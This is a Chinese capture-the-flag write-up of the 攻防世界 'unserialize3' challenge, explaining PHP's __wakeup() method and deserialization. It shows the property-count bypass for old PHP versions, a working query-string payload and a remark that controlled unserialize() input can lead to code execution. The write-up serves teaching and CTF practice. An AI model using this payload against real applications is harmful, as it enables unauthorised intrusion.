1.攻防世界 unserialize3(wakeup()魔术方法、反序列化工作原理)

news2025/2/11 19:24:38

进入题目页面如下

直接开审

<?php
// 定义一个名为 xctf 的类
class xctf {
    // 声明一个公共属性 $flag,初始值为字符串 '111'
    public $flag = '111';

    // 定义一个魔术方法 __wakeup()
    // 当对象被反序列化时,__wakeup() 方法会自动调用
    public function __wakeup() {
        // 终止脚本的执行,并输出字符串 'bad requests'
        exit('bad requests');
    }
}

__wakeup()方法在对象反序列化时会自动触发,但在这个方法中调用了exit()函数,会直接终止脚本执行并输出错误信息,这是一种防御机制,防止恶意的反序列化操作。

在 PHP 5.6.25 及更早版本、PHP 7.0.10 及更早版本中,如果对象属性的个数被声明得比实际多,__wakeup() 方法会被绕过。


__wakeup()魔术方法

PHP 中,__wakeup() 是一个重要的魔术方法,主要用于对象反序列化操作

__wakeup() 是 PHP 中的一个魔术方法,当使用 unserialize() 函数对序列化后的对象进行反序列化操作时,__wakeup() 方法会被自动调用。魔术方法是 PHP 预定义的、具有特殊名称和功能的方法,以双下划线 __ 开头,开发者可以在类中定义这些方法来实现特定的功能

当使用 unserialize() 函数将一个序列化的字符串反序列化为对象时,如果对象的类中定义了 __wakeup() 方法,该方法会在反序列化完成后自动被调用。通常用于重新建立对象在序列化过程中丢失的资源,例如重新连接数据库、初始化某些属性等

如果类中同时定义了 __unserialize()__wakeup() 方法,__unserialize() 会优先被调用,而 __wakeup() 将被忽略

__wakeup()方法工作机制

<?php
class Example {
    public $property = 'Initial Value';

    public function __wakeup() {
        echo "The __wakeup() method is called during unserialization.\n";
        // 可以在这里对对象的属性进行一些初始化或验证操作
        $this->property = 'Updated Value';
    }
}

// 创建对象
$obj = new Example();
// 序列化对象
$serialized = serialize($obj);

// 反序列化对象
$unserializedObj = unserialize($serialized);

echo $unserializedObj->property; 
?>
  1. 定义了一个 Example 类,并在其中定义了 __wakeup() 方法。
  2. 创建 Example 类的对象 $obj 并进行序列化,得到序列化字符串 $serialized
  3. 使用 unserialize() 函数对 $serialized 进行反序列化操作,此时 __wakeup() 方法会自动被调用,在该方法中修改了对象的 $property 属性值。
  4. 最后输出反序列化后对象的 $property 属性值,显示为 Updated Value

在对象反序列化时,可能需要重新初始化一些资源,如数据库连接、文件句柄等。可以在 __wakeup() 方法中进行这些资源的初始化操作,确保对象在反序列化后能够正常使用这些资源。

class DatabaseConnection {
    private $connection;

    public function __wakeup() {
        // 重新建立数据库连接
        $this->connection = new mysqli('localhost', 'user', 'password', 'database');
    }
}
  • 在反序列化对象时,对对象的属性进行验证和清理,确保数据的合法性和安全性。检查属性值是否在合理范围内,对敏感信息进行加密等。

class User {
    public $age;

    public function __wakeup() {
        if ($this->age < 0 || $this->age > 120) {
            $this->age = 0; // 修正不合理的年龄值
        }
    }
}

在某些版本的 PHP 中(PHP 5.6.25 及更早版本、PHP 7.0.10 及更早版本),存在 __wakeup() 方法绕过漏洞。如果序列化字符串中表示对象属性个数的值被设置得比实际属性个数大,__wakeup() 方法将不会被调用。可以利用这个漏洞绕过 __wakeup() 方法中的安全检查或初始化逻辑,执行恶意操作。

class Vulnerable {
    public $secret = 'sensitive information';

    public function __wakeup() {
        if ($this->secret === 'malicious') {
            die('Unauthorized access');
        }
    }
}

// 正常序列化
$obj = new Vulnerable();
$serialized = serialize($obj);

// 构造绕过 __wakeup() 的序列化字符串
$bypassSerialized = str_replace('O:10:"Vulnerable":1:', 'O:10:"Vulnerable":2:', $serialized);

// 反序列化绕过
$unserializedObj = unserialize($bypassSerialized);
echo $unserializedObj->secret; 

在上述代码中,通过修改序列化字符串中属性个数的值,绕过了 __wakeup() 方法的安全检查。


创建对象并序列化:首先创建 xctf 类的一个对象,然后对其进行序列化

<?php
class xctf {
    public $flag = '111';
    public function __wakeup() {
        exit('bad requests');
    }
}

$obj = new xctf();
$serialized = serialize($obj);
echo $serialized;
?>

可以用下面这个在线工具运行上述代码

php在线运行,在线工具,在线编译IDE_w3cschool

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

 O:4:"xctf" 表示这是一个对象(O),类名是xctf,类名长度为4

1 表示对象有1个属性

s:4:"flag";s:3:"111"; 表示属性名为 flag(长度为 4),属性值为 111(长度为 3)

反序列化获取 flag,将修改后的序列化字符串作为code参数传递给反序列化代码

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

我们需要绕过 __wakeup()方法从而获得flag

通过构造一个序列化字符串,使得对象属性的声明个数大于实际个数,从而绕过 __wakeup()方法的执行

s:4:"flag";s:3:"111"; 表示属性名为 flag(长度为 4),属性值为 111(长度为 3)

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

最终得到flag

此绕过方法仅适用于 PHP 5.6.25 及更早版本、PHP 7.0.10 及更早版本。在更高版本中,该漏洞已被修复


反序列化

反序列化是指将序列化后的数据(如字节流、JSON、XML 等格式)转换回原始数据结构或对象状态的过程

反序列化的主要作用是将存储或传输中的数据恢复为原始的数据结构或对象,以便在程序中进一步使用

数据恢复:从文件、数据库中读取序列化后的数据并恢复为对象

网络通信:接收网络传输的字节流,并将其转换为本地可用的对象

缓存读取:从缓存中读取序列化的数据并反序列化

工作原理

读取序列化数据:从存储介质(如文件、数据库)或网络接收序列化后的数据。

解析数据格式:根据序列化时使用的格式(如 JSON、XML、字节流等),解析数据内容。

重建数据结构:根据解析结果,重新构造原始的数据结构或对象实例。

恢复对象状态:将解析后的数据赋值给对象的属性,恢复对象的原始状态。


PHP 的 unserialize() 函数用于将已序列化的字符串还原为 PHP 的值

用户可控输入:如果用户可以控制传入 unserialize() 的数据,可以通过构造恶意的序列化字符串来触发对象的魔术方法(如 __wakeup()__destruct() 等),从而执行任意代码。

魔术方法的利用:某些魔术方法(如 __wakeup()__destruct())在对象被反序列化或销毁时自动调用。如果这些方法中包含危险操作(如文件操作、命令执行等),可以利用这一点。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2296475.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【R语言】卡方检验

一、定义 卡方检验是用来检验样本观测次数与理论或总体次数之间差异性的推断性统计方法&#xff0c;其原理是比较观测值与理论值之间的差异。两者之间的差异越小&#xff0c;检验的结果越不容易达到显著水平&#xff1b;反之&#xff0c;检验结果越可能达到显著水平。 二、用…

2025.2.9机器学习笔记:PINN文献阅读

2025.2.9周报 文献阅读题目信息摘要Abstract创新点网络架构实验结论缺点以及后续展望 文献阅读 题目信息 题目&#xff1a; GPT-PINN:Generative Pre-Trained Physics-Informed Neural Networks toward non-intrusive Meta-learning of parametric PDEs期刊&#xff1a; Fini…

JVM(Java 虚拟机)

Java语言的解释性和编译性&#xff08;通过JVM 的执行引擎&#xff09; Java 代码&#xff08;.java 文件&#xff09;要先使用 javac 编译器编译为 .class 文件&#xff08;字节码&#xff09;&#xff0c;紧接着再通过JVM 的执行引擎&#xff08;Execution Engine&#xff09…

利用二分法进行 SQL 盲注

什么是sql注入&#xff1f; SQL 注入&#xff08;SQL Injection&#xff09;是一种常见的 Web 安全漏洞&#xff0c;攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下&#xff0c;服务器不会直接返回查询结果&#xff0c;而是通过布尔值&#xff08;Tr…

大模型数据集全面整理:444个数据集下载地址

本文针对Datasets for Large Language Models: A Comprehensive Survey 中的 444 个数据集&#xff08;涵盖8种语言类别和32个领域&#xff09;进行完整下载地址整理收集。 2024-02-28&#xff0c;由杨刘、曹家欢、刘崇宇、丁凯、金连文等作者编写&#xff0c;深入探讨了大型语…

Linux 创建进程 fork()、vfork() 与进程管理

Linux 创建进程 fork、vfork、进程管理 一、Linux的0号、1号、2号进程二、Linux的进程标识三、fork() 函数1、基本概念2、函数特点3、用法以及应用场景&#xff08;1&#xff09;父子进程执行不同的代码&#xff08;2&#xff09;进程执行另一个程序 4、工作原理 四、vfork() 函…

2025web寒假作业二

一、整体功能概述 该代码构建了一个简单的后台管理系统界面&#xff0c;主要包含左侧导航栏和右侧内容区域。左侧导航栏有 logo、管理员头像、导航菜单和安全退出按钮&#xff1b;右侧内容区域包括页头、用户信息管理内容&#xff08;含搜索框和用户数据表格&#xff09;以及页…

鸿蒙NEXT API使用指导之文件压缩和邮件创建

鸿蒙NEXT API 使用指导 一、前言二、邮件创建1、拉起垂类应用2、 UIAbilityContext.startAbilityByType 原型2.1、wantParam2.2、abilityStartCallback 与 callback 3、拉起邮箱类应用3.1、单纯拉起邮箱应用3.2、传入带附件的邮件 三、压缩文件1、认识 zlib2、压缩处理2.1、单文…

javaEE-10.CSS入门

目录 一.什么是CSS ​编辑二.语法规则: 三.使用方式 1.行内样式: 2.内部样式: 3.外部样式: 空格规范 : 四.CSS选择器类型 1.标签选择器 2.类选择器 3.ID选择器 4.通配符选择器 5.复合选择器 五.常用的CSS样式 1.color:设置字体颜色 2.font-size:设置字体大小 3…

Spring Boot牵手Redisson:分布式锁实战秘籍

一、引言 在当今的分布式系统架构中,随着业务规模的不断扩大和系统复杂度的日益增加,如何确保多个服务节点之间的数据一致性和操作的原子性成为了一个至关重要的问题。在单机环境下,我们可以轻松地使用线程锁或进程锁来控制对共享资源的访问,但在分布式系统中,由于各个服务…

制药行业 BI 可视化数据分析方案

一、行业背景 随着医药行业数字化转型的深入&#xff0c;企业积累了海量的数据&#xff0c;包括销售数据、生产数据、研发数据、市场数据等。如何利用这些数据&#xff0c;挖掘其价值&#xff0c;为企业决策提供支持&#xff0c;成为医药企业面临的重大挑战。在当今竞争激烈的…

[学习笔记] Kotlin Compose-Multiplatform

Compose-Multiplatform 原文&#xff1a;https://github.com/zimoyin/StudyNotes-master/blob/master/compose-multiplatform/compose.md Compose Multiplatform 是 JetBrains 为桌面平台&#xff08;macOS&#xff0c;Linux&#xff0c;Windows&#xff09;和Web编写Kotlin UI…

Golang 并发机制-7:sync.Once实战应用指南

Go的并发模型是其突出的特性之一&#xff0c;但强大的功能也带来了巨大的责任。sync.Once是由Go的sync包提供的同步原语。它的目的是确保一段代码只执行一次&#xff0c;而不管有多少协程试图执行它。这听起来可能很简单&#xff0c;但它改变了并发环境中管理一次性操作的规则。…

【AI实践】Cursor上手-跑通Hello World和时间管理功能

背景 学习目的&#xff1a;熟悉Cursor使用环境&#xff0c;跑通基本开发链路。 本人背景&#xff1a;安卓开发不熟悉&#xff0c;了解科技软硬件常识 实践 基础操作 1&#xff0c;下载安装安卓Android Studio 创建一个empty project 工程&#xff0c;名称为helloworld 2&am…

【多模态大模型】系列4:目标检测(ViLD、GLIP)

目录 1 ViLD2 GLIP 1 ViLD OPEN-VOCABULARY OBJECT DETECTION VIA VISION AND LANGUAGE KNOWLEDGE DISTILLATION 从标题就能看出来&#xff0c;作者是把CLIP模型当成一个Teacher&#xff0c;去蒸馏他自己的网络&#xff0c;从而能Zero Shot去做目标检测。 现在的目标检测数据…

计算机网络结课设计:通过思科Cisco进行中小型校园网搭建

上学期计算机网络课程的结课设计是使用思科模拟器搭建一个中小型校园网&#xff0c;当时花了几天时间查阅相关博客总算是做出来了&#xff0c;在验收后一直没管&#xff0c;在寒假想起来了简单分享一下&#xff0c;希望可以给有需求的小伙伴一些帮助 目录 一、设计要求 二、…

从零到一:基于Rook构建云原生Ceph存储的全面指南(下)

接上篇&#xff1a;《从零到一&#xff1a;基于Rook构建云原生Ceph存储的全面指南&#xff08;上&#xff09;》 链接: link 六.Rook部署云原生CephFS文件系统 6.1 部署cephfs storageclass cephfs文件系统与RBD服务类似&#xff0c;要想在kubernetes pod里使用cephfs&#…

AutoMQ 如何实现没有写性能劣化的极致冷读效率

前言 追赶读&#xff08;Catch-up Read&#xff0c;冷读&#xff09;是消息和流系统常见和重要的场景。 削峰填谷&#xff1a;对于消息来说&#xff0c;消息通常用作业务间的解耦和削峰填谷。削峰填谷要求消息队列能将上游发送的数据堆积住&#xff0c;让下游在容量范围内消费…

【Rabbitmq篇】高级特性----TTL,死信队列,延迟队列

目录 一.TTL ???1.设置消息的TTL 2.设置队列的TTL 3.俩者区别? 二.死信队列 定义&#xff1a; 消息成为死信的原因&#xff1a; 1.消息被拒绝&#xff08;basic.reject 或 basic.nack&#xff09; 2.消息过期&#xff08;TTL&#xff09; 3.队列达到最大长度? …

【Java】多线程和高并发编程(三):锁(中)深入ReentrantLock

文章目录 3、深入ReentrantLock3.1 ReentrantLock和synchronized的区别3.2 AQS概述3.3 加锁流程源码剖析3.3.1 加锁流程概述3.3.2 三种加锁源码分析3.3.2.1 lock方法3.3.2.2 tryLock方法3.3.2.3 lockInterruptibly方法 3.4 释放锁流程源码剖析3.4.1 释放锁流程概述3.4.2 释放锁…